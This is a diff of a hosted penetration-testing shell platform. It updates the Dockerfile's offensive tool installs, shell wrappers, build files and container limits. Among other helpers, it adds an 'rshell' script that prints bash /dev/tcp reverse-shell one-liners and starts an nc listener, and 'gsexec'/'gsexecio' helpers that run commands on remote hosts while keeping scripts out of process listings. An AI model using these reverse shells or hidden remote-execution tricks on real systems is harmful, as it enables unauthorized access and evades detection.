# && rm -f /var/lib/apt/lists/xpra*; }'
### 2023-07: beta is badly synced
### E: Failed to fetch https://xpra.org/beta/bookworm/main/binary-amd64/Packages.gz File has unexpected size (41831 != 39348). Mirror sync in progress? [IP: 78.129.163.65 443]
RUN /pkg-install.sh GUI bash -c '{ : \
&& wget -O "/usr/share/keyrings/xpra.asc" https://xpra.org/xpra-2023.asc \
&& wget -O "/etc/apt/sources.list.d/xpra.sources" https://raw.githubusercontent.com/Xpra-org/xpra/master/packaging/repos/bookworm/xpra.sources \
&& apt-get update \
&& pkg=("xpra" "xpra-x11" "xpra-html5") \
&& apt-get install -y --no-install-recommends "${pkg[@]}" \
&& rm -f /var/lib/apt/lists/xpra*; }'
# RUN /pkg-install.sh GUI bash -c '{ : \
# && wget -O "/usr/share/keyrings/xpra.asc" https://xpra.org/xpra-2023.asc \
# && wget -O "/etc/apt/sources.list.d/xpra.sources" https://raw.githubusercontent.com/Xpra-org/xpra/master/packaging/repos/bookworm/xpra.sources \
# && apt-get update \
# && pkg=("xpra" "xpra-x11" "xpra-html5") \
# && apt-get install -y --no-install-recommends "${pkg[@]}" \
# && rm -f /var/lib/apt/lists/xpra*; }'
### x86_64 only
RUN /pkg-install.sh GUI bash -c '{ [[ $HOSTTYPE != x86_64 ]] && exit 0; cd /usr/lib \
&& curl -sf https://download-installer.cdn.mozilla.net/pub/firefox/releases/108.0.1/linux-x86_64/en-US/firefox-108.0.1.tar.bz2 | tar xfvj - \
@ -614,11 +614,11 @@ RUN /pkg-install.sh HACK ghbin shadow1ng/fscan 'fscan%arch:x86_64=:aarch64=_arm6
&& /pkg-install.sh HACK ghbin 'theaog/spirit' 'spirit%arch:x86_64=:DEFAULT=SKIP%.tgz$' spirit `# x86_64 only, spirit-arm bad` \
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/tomnomnom/gf@latest \
&& mkdir -p /usr/share/gf \
&& svn export https://github.com/tomnomnom/gf/trunk /tmp/gf \
&& git clone --depth 1 https://github.com/tomnomnom/gf.git /tmp/gf \
&& mv /tmp/gf/examples/*.json /usr/share/gf \
&& mv /tmp/gf/gf-completion.* /usr/share/gf \
&& rm -rf /tmp/gf \
&& svn export https://github.com/1ndianl33t/Gf-Patterns/trunk/ /tmp/gf \
&& git clone --depth 1 https://github.com/1ndianl33t/Gf-Patterns.git /tmp/gf \
&& mv /tmp/gf/*.json /usr/share/gf; }' \
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/tomnomnom/hacks/inscope@latest; }' \
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/Emoe/kxss@latest; }' \
@ -631,7 +631,8 @@ RUN /pkg-install.sh HACK ghbin shadow1ng/fscan 'fscan%arch:x86_64=:aarch64=_arm6
&& cmake . \
&& make \
&& cp urldedupe /usr/bin; }' \
&& /pkg-install.sh HACK bash -c '{ svn export https://github.com/urbanadventurer/username-anarchy/trunk /opt/username-anarchy; }' \
&& /pkg-install.sh HACK bash -c '{ git clone --depth 1 https://github.com/urbanadventurer/username-anarchy.git /opt/username-anarchy \
&& rm -rf /opt/username-anarchy/.git*; }' \
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/damit5/gitdorks_go@latest; }' \
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/trickest/dsieve@master; }' \
&& /pkg-install.sh HACK bash -c '{ GOBIN=/usr/bin go install github.com/trickest/enumerepo@latest; }' \
@ -748,6 +749,7 @@ RUN /pkg-install.sh LARGE apt-get install -y --no-install-recommends \
gcc-multilib \
lib32ncurses-dev lib32z1-dev || { [ $(uname -m) != x86_64 ] && true; }
RUN /pkg-install.sh HACK ghbin wader/fq '_linux_%arch1%' fq \
&& /pkg-install.sh HACK bin https://raw.githubusercontent.com/nitefood/asn/master/asn asn2 \
&& /pkg-install.sh HACK bin https://raw.githubusercontent.com/trustedsec/hardcidr/master/hardCIDR.sh hardcidr \
&& /pkg-install.sh HACK ghbin hahwul/dalfox '_linux_%arch1%' dalfox
RUN /pkg-install.sh NET ghbin hackerschoice/gsocket '_%arch%.deb' \
@ -764,6 +766,7 @@ RUN /pkg-install.sh NET ghbin hackerschoice/gsocket '_%arch%.deb' \
&& /pkg-install.sh NET ghbin ViRb3/wgcf 'linux_%arch1%$' wgcf \
&& /pkg-install.sh NET ghbin poscat0x04/wgcf-teams '-linux' wgcf-teams \
&& /pkg-install.sh NET apt-get install -y --no-install-recommends \
grepcidr \
hping3 \
ipcalc ipcalc-ng \
microsocks \
@ -798,9 +801,10 @@ RUN /pkg-install.sh HACK ghbin ekzhang/bore '%arch:aarch64=arm%-unknown-linux'
&& /pkg-install.sh HACK ghbin praetorian-inc/noseyparker 'linux-' noseyparker \
&& /pkg-install.sh HACK bin 'https://gitlab.com/api/v4/projects/33695681/packages/generic/nrich/latest/nrich_latest_amd64.deb' `# x86_64 only` \
&& /pkg-install.sh HACK bin 'https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb' `# x86_64 only` \
&& /pkg-install.sh HACK bin 'https://github.com/xaitax/SploitScan/raw/main/sploitscan.py' sploitscan \
&& /pkg-install.sh HACK ghbin hueristiq/xurlfind3r 'linux_%arch:x86_64=amd64:aarch64=arm64%' xurlfind3r
RUN /pkg-install.sh LARGE ghbin PaddiM8/kalker 'linux' kalker \
&& /pkg-install.sh LARGE ghbin PowerShell/PowerShell 'deb_%arch1%.deb'
RUN /pkg-install.sh LARGE ghbin PaddiM8/kalker 'linux' kalker
## YANKED. Already in apt-get install powershell/pkg-install.sh LARGE ghbin PowerShell/PowerShell 'deb_%arch1%.deb'
RUN /pkg-install.sh HACK bash -c '{ wget -O "/usr/bin/favfreak.py" https://raw.githubusercontent.com/devanshbatham/FavFreak/master/favfreak.py \
&& chmod 755 /usr/bin/favfreak.py \
&& ln -s favfreak.py /usr/bin/FavFreak; }' \
@ -808,7 +812,8 @@ RUN /pkg-install.sh HACK bash -c '{ wget -O "/usr/bin/favfreak.py" https://raw.
&& wget -O /usr/share/wordlists/meg/openredirects "https://raw.githubusercontent.com/tomnomnom/meg/master/lists/openredirects" \
&& wget -O /usr/share/wordlists/meg/configfiles "https://raw.githubusercontent.com/tomnomnom/meg/master/lists/configfiles" \
&& wget -O /usr/share/wordlists/meg/crlfinjection "https://raw.githubusercontent.com/tomnomnom/meg/master/lists/crlfinjection"; }'
RUN /pkg-install.sh DEV ghbin helix-editor/helix '-%arch%-linux.tar.xz' hx
RUN /pkg-install.sh DEV ghbin helix-editor/helix '-%arch%-linux.tar.xz' hx \
&& /pkg-install.sh DEV ghbin dandavison/delta '_%arch1%.deb'
RUN sed 's/deb-src.*//' -i /etc/apt/sources.list \
&& apt-get autoremove -y \
&& apt-get update

View File

@ -36,18 +36,18 @@ alias brave="brave-browser"
[[ -t 0 ]] && [[ ! -e "${HOME}/.nokiddie" ]] && {
_nokiddie_warning()
{
local cmd
cmd="$1"
shift 1
local cmd="$1"
local sargs="$2"
shift 2
local is_show
is_show=1
[[ -s "/config/self/wgname" ]] && unset is_show
[[ -s "/config/self/wgname" ]] && { unset is_show; unset _XARGS; }
[[ -e "${HOME}/.nokiddie" ]] && unset is_show
[[ -n $is_show ]] && {
echo -e >&2 "\
${CDC}Massdns${CN}, ${CDC}Masscan${CN} et.al. do not work well via VPN providers. The uplink VPN providers
and Google's 8.8.8.8 / 8.8.4.4 will ${CRY}block the requests${CN} when done to rapidly.
${CDC}${cmd}${CN} does not work well via VPN providers. The uplink VPN providers
will ${CRY}block the requests${CN} when done to rapidly.
Read how the pros do it: ${CB}${CUL}https://thc.org/segfault/faq/nokiddie${CN}"
if [[ -t 0 ]]; then
@ -55,17 +55,28 @@ Read how the pros do it: ${CB}${CUL}https://thc.org/segfault/faq/nokiddie${CN}"
read -r -t10
fi
}
command "$cmd" "$@" # Might not exist and fail nicely here
if [[ -z $sargs ]]; then
command "$cmd" "$@" # Might not exist and fail nicely here
else
[[ -z $is_show ]] && {
echo -e "Adding ${CDC}${sargs}${CN} to your command. To override type:"
echo -e " ${CC}command ${CDC}${cmd} $*${CN}\n"
sleep 2
}
command "$cmd" "$@" $(echo "$sargs") # allow word splitting
fi
}
command -v massdns >/dev/null && massdns(){ _nokiddie_warning "massdns" "$@"; }
command -v puredns >/dev/null && puredns(){ _nokiddie_warning "puredns" "$@"; }
command -v masscan >/dev/null && masscan(){ _nokiddie_warning "masscan" "$@"; }
command -v shuffledns >/dev/null && shuffledns(){ _nokiddie_warning "shuffledns" "$@"; }
command -v nuclei >/dev/null && nuclei(){ _nokiddie_warning "nuclei" "$@"; }
command -v ffuf >/dev/null && ffuf(){ _nokiddie_warning "ffuf" "$@"; }
command -v naabu >/dev/null && naabu(){ _nokiddie_warning "naabu" "$@"; }
command -v zmap >/dev/null && zmap(){ _nokiddie_warning "zmap" "$@"; }
command -v massdns >/dev/null && massdns(){ _nokiddie_warning "massdns" "" "$@"; }
command -v puredns >/dev/null && puredns(){ _nokiddie_warning "puredns" "" "$@"; }
command -v masscan >/dev/null && masscan(){ _nokiddie_warning "masscan" "" "$@"; }
command -v shuffledns >/dev/null && shuffledns(){ _nokiddie_warning "shuffledns" "" "$@"; }
command -v nuclei >/dev/null && nuclei(){ _nokiddie_warning "nuclei" "-rl 15 -c 4 -bs 4 -hbs 2 -headc 2" "$@"; }
command -v ffuf >/dev/null && ffuf(){ _nokiddie_warning "ffuf" "" "$@"; }
command -v naabu >/dev/null && naabu(){ _nokiddie_warning "naabu" "" "$@"; }
command -v zmap >/dev/null && zmap(){ _nokiddie_warning "zmap" "" "$@"; }
}
### for 'curl -x socks5h://$(PROXY) ipinfo.io'
@ -282,8 +293,10 @@ alias nocol=noansi
# Make the Project name visibile in the PS1 prompt
[[ -z $VIRTUAL_ENV ]] && VIRTUAL_ENV="${SF_PRJ}"
PATH="${HOME:-/sec/root}/go/bin:${HOME:-/sec/root}/.cargo/bin:/sec/root/.local/bin:/sec/usr/sbin:/sec/usr/bin:/sf/bin:$PATH"
PATH="${HOME:-/sec/root}/go/bin:${HOME:-/sec/root}/.cargo/bin:/sec/root/.local/bin:/sec/usr/sbin:/sec/usr/bin:/sf/bin:/usr/local/go/bin:$PATH"
[[ -d /usr/share/doc/python3-impacket/examples ]] && PATH="${PATH}:/usr/share/doc/python3-impacket/examples"
export PATH
_sf_info_non_perm()
{

View File

@ -15,13 +15,34 @@
# ZSH specific
function cnf_preexec() {
local cmd
local is_nospace
local s
cmd="$1"
# Dont deal with ultra long commands
[[ ${#cmd} -gt 1024 ]] && return
# Dont deal with multi-lines
[[ "$cmd" == *$'\n'* ]] && return
# Check if we are tracking this command already
[[ $cnf_last == $cmd ]] && return
typeset -g cnf_last="$cmd"
cmd="${cmd#"${cmd%%[^[:space:]]*}"}" # remove leading whitespace characters
# Dont deal with function definitions: contains "()" and no " " before
s="${cmd%%\(\)*}"
[[ $s != $cmd ]] && [[ "$s" != *" "* ]] && return
# Remove any variable like in `FOO=blah duf`
# Test: X="FOO BAR" Y="hello world" Z=mememe whoami
# Test:
# X="FOO BAR" Y="hello world" Z=mememe id
# X=FOO
# X=FOO id
# X=FOO Y=BAR
# 'X=FOO Y="BAAR" '
# X=FOO ~/foo.sh
while :; do
cmd="${cmd#"${cmd%%[^[:space:]]*}"}" # remove leading whitespace characters
[[ $cmd != *" "* ]] && break
[[ $cmd != *" "* ]] && { is_nospace=1; break; }
# Check if first string before \s is a variable (contains '=')
[[ ${cmd%% *} != *"="* ]] && break
@ -33,21 +54,23 @@ function cnf_preexec() {
}
# HERE: X="foo" or X="foo bar"
cmd=${cmd#*=\"}
cmd=${cmd#*\" }
cmd=${cmd#*\"}
done
[[ ${cmd:0:1} == "~" ]] && return
[[ -z $cmd ]] && return
[[ -n $is_nospace ]] && [[ $cmd == *"="* ]] && return
typeset -g cnf_command="${cmd%% *}"
whence -- "${cnf_command}" >& /dev/null && return
# HERE: command not found
[ -n "$cnf_once" ] && return
typeset -g cnf_once="1"
echo -en "💥 \e[0;31m"
}
function cnf_precmd() {
cnf_ret=$?
unset cnf_once
unset cnf_last
echo -en "\e[0m"
(($cnf_ret)) && [ -n "$cnf_command" ] && {
whence -- "${cnf_command}" >& /dev/null ||

16
guest/fs-root/sf/bin/d Executable file
View File

@ -0,0 +1,16 @@
#! /usr/bin/env bash
{ [[ -n $SF_BINDIR ]] && source "${SF_BINDIR}/funcs.sh"; } || source "/sf/bin/funcs.sh"
[[ $# -ne 2 ]] && { echo -e >&2 "${CY}ERROR${CN}: d <file1> <file2>"; exit 255; }
# cut & paste this into your shell on your workstation or add to ~/.bashrc
d() {
[[ -n "${DELTA_OPTS}" ]] && {
diff -u "$@" | delta ${DELTA_OPTS}
return
}
diff -u "$@" | delta --color-only
}
d "$@"

View File

@ -2,13 +2,14 @@
{ [[ -n $SF_BINDIR ]] && source "${SF_BINDIR}/funcs.sh"; } || source "/sf/bin/funcs.sh"
[[ $# -lt 2 ]] && { echo -e >&2 "${CY}ERROR${CN}: gsexec SECRET 'command'"; exit 255; }
# cut & paste this into your shell on your workstation or add to ~/.bashrc
gsexec() {
local sec
sec="$1"
shift 1
echo "$*; exit; __START"|gs-netcat -s "$sec" 2>/dev/null|sed -n '/__START/,$p'|tail +2
echo "$*; kill -9 \$\$; __START"|gs-netcat -I -s "$sec"|sed -un '/__START/,$p'|tail +2
}
[[ $# -lt 2 ]] && { echo -e >&2 "${CY}ERROR${CN}: gsexec SECRET 'command'"; exit 255; }
gsexec "$@"

40
guest/fs-root/sf/bin/gsexecio Executable file
View File

@ -0,0 +1,40 @@
#! /usr/bin/env bash
# Known problems:
# - OpenWRT's broken? kill -9 $PPID but the parent's parent only detects EOF on STDOUT after 10 second timeout.
{ [[ -n $SF_BINDIR ]] && source "${SF_BINDIR}/funcs.sh"; } || source "/sf/bin/funcs.sh"
[[ $# -lt 1 ]] && { echo -e >&2 "${CY}ERROR${CN}: gsexecio SECRET <shell-script.sh"; exit 255; }
gsexecio() {
# local IFS=""
# - stty is not always available. This poses a problem because we can not disable echo on the TTY and the entire
# script with be replied back to us. Solution is to add an ENDMARKER and use 'sed -un' to ignore all output until
# ENDMARKER (end of script) is reached.
# Old: { echo -e "stty raw -echo\nexec cat | exec bash; stty +echo"; sleep 3; cat; echo -e "\n:;kill -9 \$PPID";} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/stty raw -echo/,$p'|tail +3
# - The "echo sleep 2; cat;" triggers the remote bash to first wait 2 seconds before executing whatserver.sh
# and thus allowing the bash to read all the script into its input buffer (because when stty does not exist we
# must wait for bash to reply the entire script back to us before creating output or the output will
# get mangled.
# Old: { echo "sleep 2"; cat; } | { echo -e "exec cat | exec bash"; cat; echo -e '\n:;kill -9 $PPID;';} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/:;kill -9 $PPID/,$p' | tail +2
# - We can not pipe the commands into bash because that would cause output mangling (bash starts execting before EOF.)
# Old: { echo -e 'dd bs=1 count='"${#s}" 2>/dev/null' | bash; kill -9 $$'; echo "$s";} | gs-netcat -Ii -s "$1" 2>/dev/null
# - Expand diretly into bash -c will make our script show in remote's process list
# Old: { echo -e 'exec bash -c "$(dd bs=1 count='"${#s} 2>/dev/null)"'"'; echo "$s";} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/####ENDMARKER/,$p' | tail +2
# - The 'sleep 1' is there to give the remote site time to execute 'bash' without the calling shell to read the payload.
# Right deep into the bash tool kit:
# - we dont want that the entire script shows in 'ps' output. Thus read into variable 's' and then
# double eval
# bash -c 'IFS="" s="$(<x.sh)" eval eval "\$s"'
# - Escaping quotes the correct way makes it unreadable. Sorry.
unset pl
pl="echo '#####STARTMARKER'"$'\n'
pl+=$(cat)
{ echo 'exec bash -c '"'"'IFS="" s=$(dd bs=1 count='"${#pl}"' 2>/dev/null) eval eval "\$s"'"'"; sleep 1; echo "$pl";} | gs-netcat -Ii -s "$1" 2>/dev/null | sed -un '/^#####STARTMARKER/,$p' | tail +2
}
gsexecio "$1"

46
guest/fs-root/sf/bin/rshell Executable file
View File

@ -0,0 +1,46 @@
#! /usr/bin/env bash
source /sf/bin/funcs.sh
load() {
[[ ! -f "$2" ]] && return 255
eval "${1}=$(<"$2")"
}
ERREXIT() {
local code="$1"
shift 1
[[ -n $1 ]] && echo -e >&2 "${CR}ERROR:${CN} $*"
exit "${code:-99}"
}
[[ ! -f /config/self/reverse_port ]] && curl sf/port
load rport /config/self/reverse_port || ERREXIT 255 "No reverse port found. Try ${CC}curl sf/port${CN}."
load rip /config/self/reverse_ip || ERREXIT 255 "No reverse port found. Try ${CC}curl sf/port${CN}."
echo -e "\
Use one of these commands on the remote system:
1. ${CDR}bash -c '(exec bash -i &>/dev/tcp/${rip}/${rport} 0>&1) &'${CN}
2. ${CDR}(bash -i &>/dev/tcp/${rip}/${rport} 0>&1) &${CN}
${CN}Once connected, cut & paste the following into the _this_ shell:
${CF}-------------------------------------------------------------------------------${CDC}
command -v python >/dev/null \\
&& exec python -c 'import pty; pty.spawn(\"bash\")' \\
|| exec script -qc bash /dev/null
export SHELL=/bin/bash TERM=xterm-256color
reset -I
PS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'
"'stty -echo;printf "\\033[18t";read -rdt R;stty sane $(echo "$R"|awk -F";" '"'"'{ printf "rows "$3" cols "$2; }'"'"')'"
${CN}${CF}-------------------------------------------------------------------------------${CN}
To force-exit this listener, type ${CDY}kill \"\$(pgrep -P $$)\"${CN} on your Root Server"
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
cfg=$(stty --save)
stty raw -echo opost
echo -e "${CDG}Listening on ${CG}${rip}:${rport}${CN}"
nc -nlp "$rport"
echo "🦋 Restoring terminal..."
stty "$cfg"
# reset -I

View File

@ -0,0 +1,49 @@
# /usr/bin/env bash
BINDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
ERREXIT() {
local code=$1
shift 1
echo -e >&2 "[ERROR] $*"
exit "$code"
}
usage() {
echo -e "Create a Mnemonic from 'string'"
echo -e "Usage: ${0%/*} [number of words in mnemonic] string ..."
exit 255
}
findfn() {
local fn
for fn in "$@"; do
[[ ! -f "$fn" ]] && continue
echo "$fn"
return
done
return 1 # ERROR
}
[[ $# -lt 2 ]] && usage
amount=$1
shift 1
NUM=$(echo "$*" | md5sum)
NUM=${NUM%% *}
NUM=$((16#${NUM:0:15}))
fn=$(findfn "${BINDIR}/english.txt" "/sf/share/english.txt" "/usr/share/english.txt" "/etc/english.txt") || ERREXIT 255 "List of 2000 words (english.txt) not found."
readarray -t english <"$fn"
unset fn
# Create a amount number of words from NUM:
while [[ $amount -gt 0 ]]; do
((amount--))
m=$((NUM % ${#english[@]}))
fn+="${english[$m]}"
NUM=$((NUM / ${#english[@]}))
done
echo "$fn"

View File

@ -1,29 +1,34 @@
VER=9.6p1
all: albuild fs-root/bin/docker-exec-sigproxy fs-root/bin/unix-socket-client fs-root/usr/sbin/sshd Dockerfile
docker build --no-cache --network host -t sf-host .
albuild:
bash -c "docker run --rm alpine-gcc true || \
docker commit alpine-gcc alpine-gcc || { \
docker run --network host --name alpine-gcc alpine sh -c 'apk update && apk add gcc patch libc-dev musl-dev zlib-dev openssl-dev make linux-headers libcap-dev bash' \
&& docker commit alpine-gcc alpine-gcc; }"
bash -c "docker run --rm sf-alpine-gcc true || \
docker commit sf-alpine-gcc sf-alpine-gcc || { \
docker run --network host --name sf-alpine-gcc alpine sh -c 'apk update && apk add gcc patch libc-dev musl-dev zlib-dev openssl-dev make linux-headers libcap-dev bash' \
&& docker commit sf-alpine-gcc sf-alpine-gcc; }"
# See mk_sshd.sh for manual debugging
fs-root/usr/sbin/sshd: sf-sshd.patch mk_sshd.sh
docker run --rm -v$$(pwd):/src --net=host -w /tmp alpine-gcc /src/mk_sshd.sh
fs-root/usr/sbin/sshd: albuild sf-sshd.patch mk_sshd.sh
docker run --rm -v$$(pwd):/src --net=host -w /tmp --env VER=$(VER) sf-alpine-gcc /src/mk_sshd.sh
@echo "Type 'make diff' to create a sf-sshd-$(VER).patch"
fs-root/bin/docker-exec-sigproxy: docker-exec-sigproxy.c
docker run --rm -v$$(pwd):/src -w /src alpine-gcc gcc -Wall -O2 -o fs-root/bin/docker-exec-sigproxy docker-exec-sigproxy.c
docker run --rm -v$$(pwd):/src -w /src sf-alpine-gcc gcc -Wall -O2 -o fs-root/bin/docker-exec-sigproxy docker-exec-sigproxy.c
@echo SUCCESS
fs-root/bin/unix-socket-client: unix-socket-client.c
docker run --rm -v$$(pwd):/src -w /src alpine-gcc gcc -Wall -O2 -o fs-root/bin/unix-socket-client unix-socket-client.c
docker run --rm -v$$(pwd):/src -w /src sf-alpine-gcc gcc -Wall -O2 -o fs-root/bin/unix-socket-client unix-socket-client.c
@echo SUCCESS
diff:
cd dev && \
diff -x '!*.[ch]' -u openssh-9.2p1-orig/ openssh-9.2p1-sf/ | grep -Ev ^"(Only in|Common)" >../sf-sshd.patch
diff -x '!*.[ch]' -u openssh-$(VER)-orig/ openssh-$(VER)-sf/ | grep -Ev ^"(Only in|Common)" >../sf-sshd-$(VER).patch
@echo "May want to 'mv sf-sshd-$(VER).patch sf-sshd.patch'."
clean:
rm -rf openssh-9.2p1-sf fs-root/usr/sbin/sshd
docker image rm alpine-gcc
rm -rf openssh-$(VER)-orig openssh-$(VER)-sf fs-root/usr/sbin/sshd
docker image rm sf-alpine-gcc

View File

@ -182,6 +182,9 @@ done
LXCFS_STR=$str
}
# Find out if the host has /dev/kvm
docker run --rm --device=/dev/kvm sf-host true && SF_HAS_DEV_KVM=1
# SSHD resets the environment variables. The environment variables relevant to the guest
# are stored in a file here and then read by `segfaultsh'.
# Edit 'segfaultsh' and add them to 'docker run --env' to pass any of these
@ -201,7 +204,9 @@ SF_SHMDIR=\"${SF_SHMDIR}\"
SF_RAND_OFS=\"$RANDOM\"
SF_HM_SIZE_LG=\"$SF_HM_SIZE_LG\"
SF_BACKING_FS=\"$SF_BACKING_FS\"
SF_HAS_DEV_KVM=\"$SF_HAS_DEV_KVM\"
SF_NS_NET=\"$(readlink /proc/self/ns/net)\"
LXCFS_ARGS=($LXCFS_STR)
SF_FQDN=\"${SF_FQDN}\"" >/dev/shm/env.txt

View File

@ -17,14 +17,6 @@
# Load/restore environment variables from file
# SF_DEBUG can be set by ssh-client with -o SetEnv SF_DEBUG=1 or by
# docker compose '.env' file.
SSH_SF_DEBUG="${SF_DEBUG}" # Set by SSH client
[[ -f /dev/shm/env.txt ]] && eval "$(</dev/shm/env.txt)"
[[ -z $SF_DEBUG ]] && SF_DEBUG="${SSH_SF_DEBUG}"
unset SSH_SF_DEBUG
eval "$(</sf/bin/funcs_redis.sh)" || exit
# Debug Trace. see sf_trace-DISABLED
[[ -f /bin/sf_trace ]] && eval "$(</bin/sf_trace)"
[[ -t 1 ]] && {
CY="\e[1;33m" # yellow
CDY="\e[0;33m" # yellow
@ -43,6 +35,14 @@ CUL="\e[4m"
CRY="\e[0;33;41m" # YELLOW on RED (warning)
}
SSH_SF_DEBUG="${SF_DEBUG}" # Set by SSH client
eval "$(cat /dev/shm/env.txt || echo false)" || exit
[[ -z $SF_DEBUG ]] && SF_DEBUG="${SSH_SF_DEBUG}"
unset SSH_SF_DEBUG
eval "$(cat /sf/bin/funcs_redis.sh || echo false)" || exit
# Debug Trace. see sf_trace-DISABLED
[[ -f /bin/sf_trace ]] && eval "$(</bin/sf_trace)"
# [PREFIX] [MSG]
_log()
{
@ -424,7 +424,7 @@ print_goodbye()
# Restricted shell (-r) wont let us redirect stderr - use a bash-exec trick
# Note: pgrep is executed in user's context. Treat the output with care and do not trust it.
n=$(bash -c "exec docker exec --user 0:0 \"lg-${LID}\" pgrep -c . 2>/dev/null" | head -n1)
n=$(timeout 2 bash -c "exec docker exec --user 0:0 \"lg-${LID}\" pgrep -c . 2>/dev/null" | head -n1)
[[ -z "$n" ]] && n=0
[[ ${#n} -gt 5 ]] && n=0
[[ ! $n -eq $n ]] && n=0
@ -435,7 +435,7 @@ print_goodbye()
str="process is"
[[ "$n" -gt 1 ]] && str="processes are"
echo -e "${CY}WARNING: ${CR}${n}${CY} ${str} still running:${CN}"
exec_errnull docker exec --user 0:0 "lg-${LID}" pgrep . -al | tail -n+3 | while read -r x; do p="${x%% *} "; n="${x#* }"; echo -e "${CDY}--> ${CDR}${p:0:8}${CDG}${n:0:68}${CN}"; done
exec_errnull timeout 2 docker exec --user 0:0 "lg-${LID}" pgrep . -al | tail -n+3 | while read -r x; do p="${x%% *} "; n="${x#* }"; echo -e "${CDY}--> ${CDR}${p:0:8}${CDG}${n:0:68}${CN}"; done
echo -e "\
-------> The encrypted filesystem in /sec will remain accessible until
-------> the last shell exits or all background processes terminate.
@ -443,16 +443,6 @@ print_goodbye()
-------> This will also make /sec unavailabe until your next log in."
fi
echo -en "\r"
[[ -z $SF_IS_PAYING ]] && {
echo -e "\
${CDY}@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@ ${CDG}** GET MORE MEMORY, SPEED, STORAGE AND NO RESTRICTIONS **${CDY} @@@
@@@ ${CDR}${CUL}https://www.thc.org/segfault/free${CN}${CDY} @@@
@@@ ${CB}${CUL}https://www.thc.org/segfault/upgrade${CN}${CDY} @@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@${CN}"
}
sysmsg "/config/host/etc/logoutmsg-all.sh"
echo -e "\
@ -536,7 +526,7 @@ spawn_shell_exit()
tofile "${YOUR_IP:?}" "${SF_RUN_DIR}/ips/lg-${LID}.ip"
[[ -n $YOUR_GEOIP ]] && tofile "${YOUR_GEOIP}" "/config/self-for-guest/lg-${LID}/geoip"
# Request a reverse Port Forward
[[ -n $SF_RPORT_ON_LOGIN ]] && [[ -n $SF_RPORT ]] && [[ ! -f "/config/self-for-guest/lg-${LID}/reverse_ip" ]] && exec_devnull docker exec --user 0:0 "lg-${LID}" curl -s sf/port
[[ -n $SF_RPORT_ON_LOGIN ]] && [[ -n $SF_RPORT ]] && [[ ! -f "/config/self-for-guest/lg-${LID}/reverse_ip" ]] && exec_devnull timeout 2 docker exec --user 0:0 "lg-${LID}" curl -s sf/port
# Warn user if this is the last server by IP (after semaphore has been released)
@ -573,18 +563,6 @@ mk_hostname()
unset english
}
setup_fs_limit()
{
# Return if 0 or not set
[[ ! "${SF_USER_ROOT_FS_SIZE_NUM}" -gt 0 ]] && return 0 # true
# Backing FS must be of type XFS
[[ "${SF_BACKING_FS}" != "xfs" ]] && ERREXIT 1 "Backing FS is not XFS but SF_USER_ROOT_FS_SIZE is set"
DOCKER_ARGS+=("--storage-opt")
DOCKER_ARGS+=("size=${SF_USER_ROOT_FS_SIZE:?}")
}
# 1. Set INODE limit per container. Docker does not support this via any
# --storage-opt. Instead we start the container and add ourself to the
# xfs quota group that docker set up. Yeahaaa..
@ -617,12 +595,17 @@ load_limits()
{
local prefix
local is_need_update_token
local str
local name
local dst
local arr
local IFS
# Set the default values.
# No default for ROOT_FS limit. Should be set in sf.conf or if not set
# then root is mounted read-only
# SF_USER_ROOT_FS_SIZE=8g
# SF_USER_ROOT_FS_INODE=65536
# SF_USER_FS_SIZE=16g
# SF_USER_ROOT_FS_INODE=65536
# SF_USER_FS_INODE=65536
SF_USER_MEMORY_LIMIT=256m
SF_USER_PIDS_LIMIT=128
@ -726,7 +709,18 @@ load_limits()
DOCKER_ARGS+=("--oom-score-adj=${SF_USER_OOM_SCORE}")
DOCKER_ARGS+=("--blkio-weight=${SF_USER_BLKIO_WEIGHT}")
[[ -n $SF_USER_DEV_KVM ]] && [[ -e /dev/kvm ]] && DOCKER_ARGS+=("--device=/dev/kvm")
[[ -n $SF_USER_DEV_KVM ]] && [[ -n $SF_HAS_DEV_KVM ]] && DOCKER_ARGS+=("--device=/dev/kvm")
# Mount external filesystem into LG (for android builders who dont need encryption but high IO)
[[ -n $SF_USER_FS_EXT ]] && {
IFS=: read -ra arr <<<"$SF_USER_FS_EXT"
name=${arr[0]//[^a-z0-9A-Z]}
dst=${arr[1]//[^a-z0-9A-Z\/]}
str=${arr[2]//[^a-z,]}
[[ -n $str ]] && str=":${str}"
[[ -n $name ]] && [[ -n $dst ]] && [[ -e "/sf/ext/${name}" ]] && DOCKER_ARGS+=("-v${SF_BASEDIR}/data/ext/${name}:${dst}${str}")
}
if [[ -z $SF_USER_ROOT_FS_SIZE ]]; then
DOCKER_ARGS+=("--read-only")
@ -736,20 +730,20 @@ load_limits()
# HERE: Root-Fs is LIMITED in size
# These files must be mounted read-only as these are special files
# for docker and ingored by --opt storage-size= limitations.
# Backing FS must be of type XFS
[[ "${SF_BACKING_FS}" != "xfs" ]] && ERREXIT 1 "Backing FS is not XFS but SF_USER_ROOT_FS_SIZE is set"
DOCKER_ARGS+=("--storage-opt")
DOCKER_ARGS+=("size=${SF_USER_ROOT_FS_SIZE:?}")
DOCKER_ARGS+=("-v${SF_BASEDIR}/config/etc/hosts:/etc/hosts:ro")
DOCKER_ARGS+=("-v${SF_BASEDIR}/config/db/user/lg-${LID}/hostname:/etc/hostname:ro")
DOCKER_ARGS+=("-v${SF_BASEDIR}/config/etc/resolv.conf:/etc/resolv.conf:ro")
}
fi
write_lg_limits
